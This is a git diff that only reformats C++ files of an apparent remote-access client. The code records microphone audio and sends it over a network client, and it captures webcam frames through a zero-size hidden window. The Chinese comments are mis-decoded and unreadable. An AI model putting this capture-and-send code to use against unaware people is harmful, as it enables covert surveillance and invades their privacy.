FALSE; //趨״̬Ϊ - WaitForSingleObject(m_hWorkThread, INFINITE); //ȴ ߳̽ - if (m_hWorkThread) - CloseHandle(m_hWorkThread); + m_bIsWorking = FALSE; //趨״̬Ϊ + WaitForSingleObject(m_hWorkThread, INFINITE); //ȴ ߳̽ + if (m_hWorkThread) + CloseHandle(m_hWorkThread); - if (m_AudioObject!=NULL) - { - delete m_AudioObject; - m_AudioObject = NULL; - } - if (szPacket) - { - delete [] szPacket; - szPacket = NULL; - } - Mprintf("~CAudioManager %p\n", this); + if (m_AudioObject!=NULL) { + delete m_AudioObject; + m_AudioObject = NULL; + } + if (szPacket) { + delete [] szPacket; + szPacket = NULL; + } + Mprintf("~CAudioManager %p\n", this); } -//USB +//USB BOOL CAudioManager::Initialize() { - if (!waveInGetNumDevs()) //ȡ豸Ŀ ʵʾǿû - return FALSE; + if (!waveInGetNumDevs()) //ȡ豸Ŀ ʵʾǿû + return FALSE; - // SYS SYS P - // ʹ.. ֹظʹ - if (m_bIsWorking==TRUE) - { - return FALSE; - } + // SYS SYS P + // ʹ.. ֹظʹ + if (m_bIsWorking==TRUE) { + return FALSE; + } - m_AudioObject = new CAudio; // + m_AudioObject = new CAudio; // - m_bIsWorking = TRUE; - return TRUE; + m_bIsWorking = TRUE; + return TRUE; } diff --git a/client/AudioManager.h b/client/AudioManager.h index 9893eea..fb86955 100644 --- a/client/AudioManager.h +++ b/client/AudioManager.h @@ -13,20 +13,20 @@ #include "Audio.h" -class CAudioManager : public CManager +class CAudioManager : public CManager { public: - VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - BOOL Initialize(); - CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr); - virtual ~CAudioManager(); - BOOL m_bIsWorking; - HANDLE m_hWorkThread; - static DWORD WINAPI WorkThread(LPVOID lParam); - BOOL SendRecordBuffer(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + BOOL Initialize(); + CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr); + virtual ~CAudioManager(); + BOOL m_bIsWorking; + HANDLE m_hWorkThread; + static DWORD WINAPI WorkThread(LPVOID lParam); + BOOL SendRecordBuffer(); - CAudio* m_AudioObject; - LPBYTE szPacket; // Ƶ + CAudio* m_AudioObject; + LPBYTE szPacket; // Ƶ }; #endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_) diff --git a/client/Buffer.cpp b/client/Buffer.cpp index 4bcee71..d379ef6 100644 --- a/client/Buffer.cpp +++ b/client/Buffer.cpp @@ -11,151 +11,143 @@ CBuffer::CBuffer() { - m_ulMaxLength = 0; + m_ulMaxLength = 0; - m_Ptr = m_Base = NULL; + m_Ptr = m_Base = NULL; } CBuffer::~CBuffer(void) { - if (m_Base) - { - MVirtualFree(m_Base, 0, MEM_RELEASE); - m_Base = NULL; - } + if (m_Base) { + MVirtualFree(m_Base, 0, MEM_RELEASE); + m_Base = NULL; + } - m_Base = m_Ptr = NULL; - m_ulMaxLength = 0; + m_Base = m_Ptr = NULL; + m_ulMaxLength = 0; } ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength) { - if (ulLength > m_ulMaxLength) - { - return 0; - } - ULONG len = m_Ptr - m_Base; - if (ulLength > len) - { - ulLength = len; - } + if (ulLength > m_ulMaxLength) { + return 0; + } + ULONG len = m_Ptr - m_Base; + if (ulLength > len) { + ulLength = len; + } - if (ulLength) - { - CopyMemory(Buffer,m_Base,ulLength); + if (ulLength) { + CopyMemory(Buffer,m_Base,ulLength); - MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength); - m_Ptr -= ulLength; - } + MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength); + m_Ptr -= ulLength; + } - DeAllocateBuffer(m_Ptr - m_Base); + DeAllocateBuffer(m_Ptr - m_Base); - return ulLength; + return ulLength; } // ·ڴС -VOID CBuffer::DeAllocateBuffer(ULONG ulLength) +VOID CBuffer::DeAllocateBuffer(ULONG ulLength) { - int len = m_Ptr - m_Base; - if (ulLength < len) - return; + int len = m_Ptr - m_Base; + if (ulLength < len) + return; - ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; + ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; - if (m_ulMaxLength <= ulNewMaxLength) - { - return; - } - PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); - if (NewBase == NULL) - return; + if (m_ulMaxLength <= ulNewMaxLength) { + return; + } + PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); + if (NewBase == NULL) + return; - CopyMemory(NewBase,m_Base,len); + CopyMemory(NewBase,m_Base,len); - MVirtualFree(m_Base,0,MEM_RELEASE); + MVirtualFree(m_Base,0,MEM_RELEASE); - m_Base = NewBase; + m_Base = NewBase; - m_Ptr = m_Base + len; + m_Ptr = m_Base + len; - m_ulMaxLength = ulNewMaxLength; + m_ulMaxLength = ulNewMaxLength; } BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength) { - if (ReAllocateBuffer(ulLength + (m_Ptr - m_Base)) == FALSE) - { - return FALSE; - } + if (ReAllocateBuffer(ulLength + (m_Ptr - m_Base)) == FALSE) { + return FALSE; + } - CopyMemory(m_Ptr, Buffer, ulLength); - m_Ptr+=ulLength; + CopyMemory(m_Ptr, Buffer, ulLength); + m_Ptr+=ulLength; - return TRUE; + return TRUE; } // 泤Ȳʱ· BOOL CBuffer::ReAllocateBuffer(ULONG ulLength) { - if (ulLength < m_ulMaxLength) - return TRUE; + if (ulLength < m_ulMaxLength) + return TRUE; - ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; - PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); - if (NewBase == NULL) - { - return FALSE; - } + ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; + PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); + if (NewBase == NULL) { + return FALSE; + } - ULONG len = m_Ptr - m_Base; - CopyMemory(NewBase, m_Base, len); + ULONG len = m_Ptr - m_Base; + CopyMemory(NewBase, m_Base, len); - if (m_Base) - { - MVirtualFree(m_Base,0,MEM_RELEASE); - } - m_Base = NewBase; - m_Ptr = m_Base + len; - m_ulMaxLength = ulNewMaxLength; + if (m_Base) { + MVirtualFree(m_Base,0,MEM_RELEASE); + } + m_Base = NewBase; + m_Ptr = m_Base + len; + m_ulMaxLength = ulNewMaxLength; - return TRUE; + return TRUE; } VOID CBuffer::ClearBuffer() { - m_Ptr = m_Base; + m_Ptr = m_Base; - DeAllocateBuffer(1024); + DeAllocateBuffer(1024); } -ULONG CBuffer::GetBufferLength() const +ULONG CBuffer::GetBufferLength() const { - return m_Ptr - m_Base; + return m_Ptr - m_Base; } -void CBuffer::Skip(ULONG ulPos) { - if (ulPos == 0) - return; - MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos); - m_Ptr -= ulPos; +void CBuffer::Skip(ULONG ulPos) +{ + if (ulPos == 0) + return; + MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos); + m_Ptr -= ulPos; } PBYTE CBuffer::GetBuffer(ULONG ulPos) const { - if (m_Base==NULL || ulPos>=(m_Ptr - m_Base)) - { - return NULL; - } - return m_Base+ulPos; + if (m_Base==NULL || ulPos>=(m_Ptr - m_Base)) { + return NULL; + } + return m_Base+ulPos; } diff --git a/client/Buffer.h b/client/Buffer.h index ff9623b..3c3fc2a 100644 --- a/client/Buffer.h +++ b/client/Buffer.h @@ -5,20 +5,20 @@ class CBuffer { public: - CBuffer(void); - ~CBuffer(void); + CBuffer(void); + ~CBuffer(void); - ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength); - ULONG GetBufferLength() const; //Чݳ - VOID DeAllocateBuffer(ULONG ulLength); - VOID ClearBuffer(); - BOOL ReAllocateBuffer(ULONG ulLength); - BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); - PBYTE GetBuffer(ULONG ulPos=0) const; - void Skip(ULONG ulPos); + ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength); + ULONG GetBufferLength() const; //Чݳ + VOID DeAllocateBuffer(ULONG ulLength); + VOID ClearBuffer(); + BOOL ReAllocateBuffer(ULONG ulLength); + BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); + PBYTE GetBuffer(ULONG ulPos=0) const; + void Skip(ULONG ulPos); protected: - PBYTE m_Base; - PBYTE m_Ptr; - ULONG m_ulMaxLength; + PBYTE m_Base; + PBYTE m_Ptr; + ULONG m_ulMaxLength; }; diff --git a/client/CaptureVideo.cpp b/client/CaptureVideo.cpp index 29929e4..81a2e2c 100644 --- a/client/CaptureVideo.cpp +++ b/client/CaptureVideo.cpp @@ -12,262 +12,247 @@ CSampleGrabberCB CCaptureVideo::mCB; CCaptureVideo::CCaptureVideo() { - m_pCapture = NULL; - m_pGB = NULL; - m_pMC = NULL; - m_pVW = NULL; - m_pBF = NULL; - m_pGrabber = NULL; - m_bExit = FALSE; - m_hWnd = NULL; - if (FAILED(CoInitialize(NULL))) - { - return; - } + m_pCapture = NULL; + m_pGB = NULL; + m_pMC = NULL; + m_pVW = NULL; + m_pBF = NULL; + m_pGrabber = NULL; + m_bExit = FALSE; + m_hWnd = NULL; + if (FAILED(CoInitialize(NULL))) { + return; + } } CCaptureVideo::~CCaptureVideo() { - m_bExit = TRUE; - if(m_pMC)m_pMC->StopWhenReady(); - if(m_pVW){ - m_pVW->put_Visible(OAFALSE); - m_pVW->put_Owner(NULL); - } - SAFE_RELEASE(m_pMC); - SAFE_RELEASE(m_pVW); - SAFE_RELEASE(m_pGB); - SAFE_RELEASE(m_pBF); - SAFE_RELEASE(m_pGrabber); - SAFE_RELEASE(m_pCapture); + m_bExit = TRUE; + if(m_pMC)m_pMC->StopWhenReady(); + if(m_pVW) { + m_pVW->put_Visible(OAFALSE); + m_pVW->put_Owner(NULL); + } + SAFE_RELEASE(m_pMC); + SAFE_RELEASE(m_pVW); + SAFE_RELEASE(m_pGB); + SAFE_RELEASE(m_pBF); + SAFE_RELEASE(m_pGrabber); + SAFE_RELEASE(m_pCapture); - CoUninitialize() ; + CoUninitialize() ; } HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) { - Mprintf("CCaptureVideo call Open\n"); - HRESULT hResult = S_OK; - do - { - hResult = InitCaptureGraphBuilder(); - if (FAILED(hResult)) - break; - if(!BindVideoFilter(iDeviceID, &m_pBF)) - break; + Mprintf("CCaptureVideo call Open\n"); + HRESULT hResult = S_OK; + do { + hResult = InitCaptureGraphBuilder(); + if (FAILED(hResult)) + break; + if(!BindVideoFilter(iDeviceID, &m_pBF)) + break; - hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter"); + hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter"); - hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, - IID_ISampleGrabber, (void**)&m_pGrabber); //ڴ - if(FAILED(hResult)) - break; + hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, + IID_ISampleGrabber, (void**)&m_pGrabber); //ڴ + if(FAILED(hResult)) + break; - //m_pGrabber 1 ʽ 2 ڴ滺ʽ - CComQIPtr pGrabBase(m_pGrabber);//Ƶʽ - AM_MEDIA_TYPE mt; //Ƶʽ - ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE)); - mt.majortype = MEDIATYPE_Video; - mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24 + //m_pGrabber 1 ʽ 2 ڴ滺ʽ + CComQIPtr pGrabBase(m_pGrabber);//Ƶʽ + AM_MEDIA_TYPE mt; //Ƶʽ + ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE)); + mt.majortype = MEDIATYPE_Video; + mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24 - hResult = m_pGrabber->SetMediaType(&mt); - if(FAILED(hResult)) - break; - - hResult = m_pGB->AddFilter(pGrabBase,L"Grabber"); + hResult = m_pGrabber->SetMediaType(&mt); + if(FAILED(hResult)) + break; - if(FAILED(hResult)) - break; + hResult = m_pGB->AddFilter(pGrabBase,L"Grabber"); - hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //̬ - &MEDIATYPE_Video,m_pBF,pGrabBase,NULL); - if(FAILED(hResult)) - { - //׽ - hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL); - break; - } + if(FAILED(hResult)) + break; - if(FAILED(hResult)) - break; - - hResult = m_pGrabber->GetConnectedMediaType(&mt); + hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //̬ + &MEDIATYPE_Video,m_pBF,pGrabBase,NULL); + if(FAILED(hResult)) { + //׽ + hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL); + break; + } - if (FAILED(hResult)) - break; + if(FAILED(hResult)) + break; - //3 ׽ FDO һݾͽ ص һ + hResult = m_pGrabber->GetConnectedMediaType(&mt); - VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat; - //mCB Ǹһ ȫֱ иص - mCB.m_ulFullWidth = vih->bmiHeader.biWidth; - mCB.m_ulFullHeight = vih->bmiHeader.biHeight; + if (FAILED(hResult)) + break; - FreeMediaType(mt); + //3 ׽ FDO һݾͽ ص һ - hResult = m_pGrabber->SetBufferSamples( FALSE ); //ص - hResult = m_pGrabber->SetOneShot( FALSE ); + VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat; + //mCB Ǹһ ȫֱ иص + mCB.m_ulFullWidth = vih->bmiHeader.biWidth; + mCB.m_ulFullHeight = vih->bmiHeader.biHeight; - //Ƶص ҲƵʱͻBufferCB + FreeMediaType(mt); - //OnTimer - hResult = m_pGrabber->SetCallback(&mCB, 1); + hResult = m_pGrabber->SetBufferSamples( FALSE ); //ص + hResult = m_pGrabber->SetOneShot( FALSE ); - m_hWnd = CreateWindow("#32770", "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL); + //Ƶص ҲƵʱͻBufferCB - SetupVideoWindow(); //δ + //OnTimer + hResult = m_pGrabber->SetCallback(&mCB, 1); - hResult = m_pMC->Run(); // + m_hWnd = CreateWindow("#32770", "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL); - if(FAILED(hResult)) - break; - } while (false); + SetupVideoWindow(); //δ - Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed"); + hResult = m_pMC->Run(); // - return hResult; + if(FAILED(hResult)) + break; + } while (false); + + Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed"); + + return hResult; } HRESULT CCaptureVideo::InitCaptureGraphBuilder() { - HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC, - IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //ʵ豸 + HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC, + IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //ʵ豸 - if (FAILED(hResult)) - { - return hResult; - } + if (FAILED(hResult)) { + return hResult; + } - hResult=CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER, - IID_IGraphBuilder, (void**)&m_pGB); //豸 + hResult=CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER, + IID_IGraphBuilder, (void**)&m_pGB); //豸 - if (FAILED(hResult)) - { - return hResult; - } - //˰󶨵ʵ豸 - m_pCapture->SetFiltergraph(m_pGB); - hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC); - if (FAILED(hResult)) - { - return hResult; - } + if (FAILED(hResult)) { + return hResult; + } + //˰󶨵ʵ豸 + m_pCapture->SetFiltergraph(m_pGB); + hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC); + if (FAILED(hResult)) { + return hResult; + } - hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW); - if (FAILED(hResult)) - { - return hResult; - } - return hResult; + hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW); + if (FAILED(hResult)) { + return hResult; + } + return hResult; } LPBITMAPINFO CCaptureVideo::GetBmpInfor() { - return mCB.GetBmpInfor(); //λͼڴͷ + return mCB.GetBmpInfor(); //λͼڴͷ } BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter) { - if (deviceId < 0) - return FALSE;// enumerate all video capture devices - CComPtr pCreateDevEnum; - HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER, - IID_ICreateDevEnum, (void**)&pCreateDevEnum); - if (hr != NOERROR) - { - return FALSE; - } - CComPtr pEm; - hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory,&pEm, 0); - if (hr != NOERROR) - { - return FALSE; - } - pEm->Reset(); - ULONG cFetched; - IMoniker *pM; - int index = 0; - while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId) - { - IPropertyBag *pBag; - //ͨBindToStorage Էʸ豸ıʶ - hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag); - if(SUCCEEDED(hr)) - { - VARIANT var; - var.vt = VT_BSTR; - hr = pBag->Read(L"FriendlyName", &var, NULL); - if (hr == NOERROR) - { - if (index == deviceId) - { - pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter); - } - SysFreeString(var.bstrVal); - } - pBag->Release(); //ü-- - } - pM->Release(); - index++; - } - return TRUE; + if (deviceId < 0) + return FALSE;// enumerate all video capture devices + CComPtr pCreateDevEnum; + HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER, + IID_ICreateDevEnum, (void**)&pCreateDevEnum); + if (hr != NOERROR) { + return FALSE; + } + CComPtr pEm; + hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory,&pEm, 0); + if (hr != NOERROR) { + return FALSE; + } + pEm->Reset(); + ULONG cFetched; + IMoniker *pM; + int index = 0; + while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId) { + IPropertyBag *pBag; + //ͨBindToStorage Էʸ豸ıʶ + hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag); + if(SUCCEEDED(hr)) { + VARIANT var; + var.vt = VT_BSTR; + hr = pBag->Read(L"FriendlyName", &var, NULL); + if (hr == NOERROR) { + if (index == deviceId) { + pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter); + } + SysFreeString(var.bstrVal); + } + pBag->Release(); //ü-- + } + pM->Release(); + index++; + } + return TRUE; } void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt) { - if (mt.cbFormat != 0) { - CoTaskMemFree((PVOID)mt.pbFormat); - mt.cbFormat = 0; - mt.pbFormat = NULL; - } - if (mt.pUnk != NULL) { - mt.pUnk->Release(); - mt.pUnk = NULL; - } + if (mt.cbFormat != 0) { + CoTaskMemFree((PVOID)mt.pbFormat); + mt.cbFormat = 0; + mt.pbFormat = NULL; + } + if (mt.pUnk != NULL) { + mt.pUnk->Release(); + mt.pUnk = NULL; + } } HRESULT CCaptureVideo::SetupVideoWindow() { - HRESULT hr; - hr = m_pVW->put_Owner((OAHWND)m_hWnd); - if (FAILED(hr))return hr; - hr = m_pVW->put_WindowStyle(WS_CHILD | WS_CLIPCHILDREN); - if (FAILED(hr))return hr; - ResizeVideoWindow(); - hr = m_pVW->put_Visible(OATRUE); - return hr; + HRESULT hr; + hr = m_pVW->put_Owner((OAHWND)m_hWnd); + if (FAILED(hr))return hr; + hr = m_pVW->put_WindowStyle(WS_CHILD | WS_CLIPCHILDREN); + if (FAILED(hr))return hr; + ResizeVideoWindow(); + hr = m_pVW->put_Visible(OATRUE); + return hr; } void CCaptureVideo::ResizeVideoWindow() { - if (m_pVW){ - RECT rc; - ::GetClientRect(m_hWnd,&rc); - m_pVW->SetWindowPosition(0, 0, rc.right, rc.bottom); //õ0 0 0 0 - } + if (m_pVW) { + RECT rc; + ::GetClientRect(m_hWnd,&rc); + m_pVW->SetWindowPosition(0, 0, rc.right, rc.bottom); //õ0 0 0 0 + } } void CCaptureVideo::SendEnd() //ͽ ÿȡ { - InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); + InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY); } LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize) { - BYTE *szBuffer = NULL; - int n = 200; // 10sûлȡ򷵻NULL - do - { - if (mCB.bStact==CMD_CAN_SEND) //ıһ·͵״̬ - { - if (szBuffer = mCB.GetNextScreen(dwSize)) //ǷȡƵ - break; - } - Sleep(50); - } while (!m_bExit && --n); + BYTE *szBuffer = NULL; + int n = 200; // 10sûлȡ򷵻NULL + do { + if (mCB.bStact==CMD_CAN_SEND) { //ıһ·͵״̬ + if (szBuffer = mCB.GetNextScreen(dwSize)) //ǷȡƵ + break; + } + Sleep(50); + } while (!m_bExit && --n); - return szBuffer; + return szBuffer; } diff --git a/client/CaptureVideo.h b/client/CaptureVideo.h index a242c52..0afec7d 100644 --- a/client/CaptureVideo.h +++ b/client/CaptureVideo.h @@ -29,212 +29,214 @@ EXTERN_C const CLSID CLSID_SampleGrabber; // ӿ ID Sample Grabber IJʽصȲӿ EXTERN_C const IID IID_ISampleGrabber; -struct ISampleGrabberCB : public IUnknown -{ +struct ISampleGrabberCB : public IUnknown { public: - virtual HRESULT STDMETHODCALLTYPE SampleCB( - double SampleTime, - IMediaSample * pSample) = 0; + virtual HRESULT STDMETHODCALLTYPE SampleCB( + double SampleTime, + IMediaSample * pSample) = 0; - virtual HRESULT STDMETHODCALLTYPE BufferCB( - double SampleTime, - BYTE* pBuffer, - long BufferLen) = 0; + virtual HRESULT STDMETHODCALLTYPE BufferCB( + double SampleTime, + BYTE* pBuffer, + long BufferLen) = 0; }; -struct ISampleGrabber : public IUnknown -{ +struct ISampleGrabber : public IUnknown { public: - virtual HRESULT STDMETHODCALLTYPE SetOneShot( - BOOL OneShot) = 0; + virtual HRESULT STDMETHODCALLTYPE SetOneShot( + BOOL OneShot) = 0; - virtual HRESULT STDMETHODCALLTYPE SetMediaType( - const AM_MEDIA_TYPE* pType) = 0; + virtual HRESULT STDMETHODCALLTYPE SetMediaType( + const AM_MEDIA_TYPE* pType) = 0; - virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType( - AM_MEDIA_TYPE* pType) = 0; + virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType( + AM_MEDIA_TYPE* pType) = 0; - virtual HRESULT STDMETHODCALLTYPE SetBufferSamples( - BOOL BufferThem) = 0; + virtual HRESULT STDMETHODCALLTYPE SetBufferSamples( + BOOL BufferThem) = 0; - virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer( - /* [out][in] */ long* pBufferSize, - /* [out] */ long* pBuffer) = 0; + virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer( + /* [out][in] */ long* pBufferSize, + /* [out] */ long* pBuffer) = 0; - virtual HRESULT STDMETHODCALLTYPE GetCurrentSample( - /* [retval][out] */ IMediaSample** ppSample) = 0; + virtual HRESULT STDMETHODCALLTYPE GetCurrentSample( + /* [retval][out] */ IMediaSample** ppSample) = 0; - virtual HRESULT STDMETHODCALLTYPE SetCallback( - ISampleGrabberCB* pCallback, - long WhichMethodToCallback) = 0; + virtual HRESULT STDMETHODCALLTYPE SetCallback( + ISampleGrabberCB* pCallback, + long WhichMethodToCallback) = 0; }; -enum{ - CMD_CAN_COPY, - CMD_CAN_SEND +enum { + CMD_CAN_COPY, + CMD_CAN_SEND }; #ifndef SAFE_RELEASE #define SAFE_RELEASE( x ) if ( NULL != x ){ x->Release(); x = NULL; } #endif -class CSampleGrabberCB : public ISampleGrabberCB +class CSampleGrabberCB : public ISampleGrabberCB { public: - ULONG m_ulFullWidth; - ULONG m_ulFullHeight; - LPBITMAPINFO m_BitmapInfor_Full; - BYTE* m_BitmapData_Full; - BOOL bStact; - DWORD m_dwSize; // ƵͼݴС + ULONG m_ulFullWidth; + ULONG m_ulFullHeight; + LPBITMAPINFO m_BitmapInfor_Full; + BYTE* m_BitmapData_Full; + BOOL bStact; + DWORD m_dwSize; // ƵͼݴС - CSampleGrabberCB() - { - m_ulFullWidth = 0 ; - m_ulFullHeight = 0 ; - m_BitmapInfor_Full = NULL; - m_BitmapData_Full = NULL; + CSampleGrabberCB() + { + m_ulFullWidth = 0 ; + m_ulFullHeight = 0 ; + m_BitmapInfor_Full = NULL; + m_BitmapData_Full = NULL; - m_dwSize = 0; - bStact = CMD_CAN_COPY; - } + m_dwSize = 0; + bStact = CMD_CAN_COPY; + } - ~CSampleGrabberCB() - { - if (m_BitmapInfor_Full!=NULL) - { - delete[] m_BitmapInfor_Full; - } + ~CSampleGrabberCB() + { + if (m_BitmapInfor_Full!=NULL) { + delete[] m_BitmapInfor_Full; + } - if (m_BitmapData_Full!=NULL) - { - delete[] m_BitmapData_Full; - } + if (m_BitmapData_Full!=NULL) { + delete[] m_BitmapData_Full; + } - m_ulFullWidth = 0 ; - m_ulFullHeight = 0 ; - } + m_ulFullWidth = 0 ; + m_ulFullHeight = 0 ; + } - LPBITMAPINFO GetBmpInfor() - { - if (m_BitmapInfor_Full==NULL) //ͷϢ - { - ConstructBI(24); - } + LPBITMAPINFO GetBmpInfor() + { + if (m_BitmapInfor_Full==NULL) { //ͷϢ + ConstructBI(24); + } - return m_BitmapInfor_Full; - } + return m_BitmapInfor_Full; + } - LPBITMAPINFO ConstructBI(ULONG ulbiBitCount) - { - int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0; - ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +ɫĸ + LPBITMAPINFO ConstructBI(ULONG ulbiBitCount) + { + int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0; + ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER +ɫĸ - m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength]; + m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength]; - BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader); + BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader); - BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si - BitmapInforHeader->biWidth = m_ulFullWidth; - BitmapInforHeader->biHeight = m_ulFullHeight; - BitmapInforHeader->biPlanes = 1; - BitmapInforHeader->biBitCount = ulbiBitCount; - BitmapInforHeader->biCompression = BI_RGB; - BitmapInforHeader->biXPelsPerMeter = 0; - BitmapInforHeader->biYPelsPerMeter = 0; - BitmapInforHeader->biClrUsed = 0; - BitmapInforHeader->biClrImportant = 0; + BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si + BitmapInforHeader->biWidth = m_ulFullWidth; + BitmapInforHeader->biHeight = m_ulFullHeight; + BitmapInforHeader->biPlanes = 1; + BitmapInforHeader->biBitCount = ulbiBitCount; + BitmapInforHeader->biCompression = BI_RGB; + BitmapInforHeader->biXPelsPerMeter = 0; + BitmapInforHeader->biYPelsPerMeter = 0; + BitmapInforHeader->biClrUsed = 0; + BitmapInforHeader->biClrImportant = 0; - BitmapInforHeader->biSizeImage = //ͼ - (((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) & ~31) >> 3) - * BitmapInforHeader->biHeight; - // 16λԺûɫֱӷ + BitmapInforHeader->biSizeImage = //ͼ + (((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) & ~31) >> 3) + * BitmapInforHeader->biHeight; + // 16λԺûɫֱӷ - //!! - m_dwSize=BitmapInforHeader->biSizeImage; //ݴС - m_BitmapData_Full=new BYTE[m_dwSize+10]; - ZeroMemory(m_BitmapData_Full,m_dwSize+10); + //!! + m_dwSize=BitmapInforHeader->biSizeImage; //ݴС + m_BitmapData_Full=new BYTE[m_dwSize+10]; + ZeroMemory(m_BitmapData_Full,m_dwSize+10); - return m_BitmapInfor_Full; - } + return m_BitmapInfor_Full; + } - STDMETHODIMP_(ULONG) AddRef() { return 2;} - STDMETHODIMP_(ULONG) Release() { return 1;} + STDMETHODIMP_(ULONG) AddRef() + { + return 2; + } + STDMETHODIMP_(ULONG) Release() + { + return 1; + } - STDMETHODIMP QueryInterface(REFIID riid, void ** lParam) - { - if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ){ - *lParam = (void *) static_cast ( this ); - return NOERROR; - } + STDMETHODIMP QueryInterface(REFIID riid, void ** lParam) + { + if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ) { + *lParam = (void *) static_cast ( this ); + return NOERROR; + } - return E_NOINTERFACE; - } + return E_NOINTERFACE; + } - BYTE* 